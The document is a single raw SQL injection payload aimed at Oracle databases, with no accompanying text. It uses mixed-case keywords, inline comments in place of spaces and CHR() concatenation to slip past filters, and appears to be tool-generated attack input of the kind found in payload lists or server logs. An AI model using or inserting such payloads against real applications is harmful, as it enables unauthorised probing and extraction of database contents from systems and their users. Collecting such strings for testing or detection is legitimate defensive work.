1) AND aND/**/4536=(SElEcT/**/upPer(cHR(126)||~||(SeLEcT/**/(CASe/**/WhEn/**/(4536=4536)/**/thEN/**/1/**/else/**/0/**/EnD)/**/fROM/**/Dual)||~||chR(126))/**/FrOm/**/dUaL/**/WHErE/**/Dbms_raNdoM.value(10306,8307)=5745)– – 1